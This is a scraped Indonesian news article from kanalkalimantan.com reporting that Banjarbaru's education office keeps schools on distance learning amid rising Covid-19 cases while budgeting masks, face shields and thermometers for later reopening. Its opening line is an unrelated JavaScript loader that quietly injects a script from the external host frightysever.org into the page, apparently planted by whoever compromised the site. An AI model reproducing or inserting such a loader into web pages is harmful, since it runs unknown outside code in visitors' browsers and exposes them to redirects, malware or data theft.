(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Pendidikan

Kasus Covid-19 Terus Tambah, Disdik Banjarbaru Siapkan Opsi Buka Sekolah Pembelajaran Tatap Muka

KANALKALIMANTAN.COM, BANJARBARU – Sistem pendidikan melalui Pembelajaran Jarak Jauh (PJJ) atau biasa disebut dengan sistem belajar daring, masih diterapkan di Kota Banjarbaru, mengingat penyebaran Covid-19 belum turun.

Apalagi, kasus Covid-19 di Banjarbaru setiap hari masih menunjukan grafik yang meningkat. Data harian per 21 Agustus, dimana kasus terkonfirmasi Covid-19 di Banjarbaru sudah menyentuh angka 754 kasus.

Kepala Dinas Pendidikan Kota Banjarbaru, Muhammad Aswan menjelaskan, saat situasi sekarang dimana Kota Banjarbaru masih dalam zona merah, dirinya masih belum bisa membuka pendidikan secara tatap muka. Namun, dari pihaknya sendiri tetap melakukan persiapan jika nantinya akan ada proses pembelajaran tatap muka.

“Untuk sekarang sekolah masih belum bisa dibuka, tapi untuk antisipasi, kami tengah mempersiapkan beberapa hal jika nantinya akan ada pembelajaran tatap muka,” ujar Aswan.

Kadisdik mengatakan hingga kini belum ada sekolah dibawah naungan Disdik Banjarbaru mengajukan proses belajar tatap muka. Pihaknya sendiri sedang mengusulkan anggaran untuk membantu sekolah untuk memenuhi kebutuhan protokol kesehatan Covid-19 yang akan digunakan.

“Untuk kebutuhan seperti face shield, masker, thermo gun dan tempat cuci tangan untuk sekolah, karena untuk membuka sekolah tentu kita perlu penerapan protokol kesehatan yang ketat juga atas izin orangtua wali siswa,” jelasnya.

Pengajuan ini sudah disampaikan ke Komisi I DPRD Kota Banjarbaru, dengan mengusulkan anggaran pengadaan paket protokol kesehatan Covid-19. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie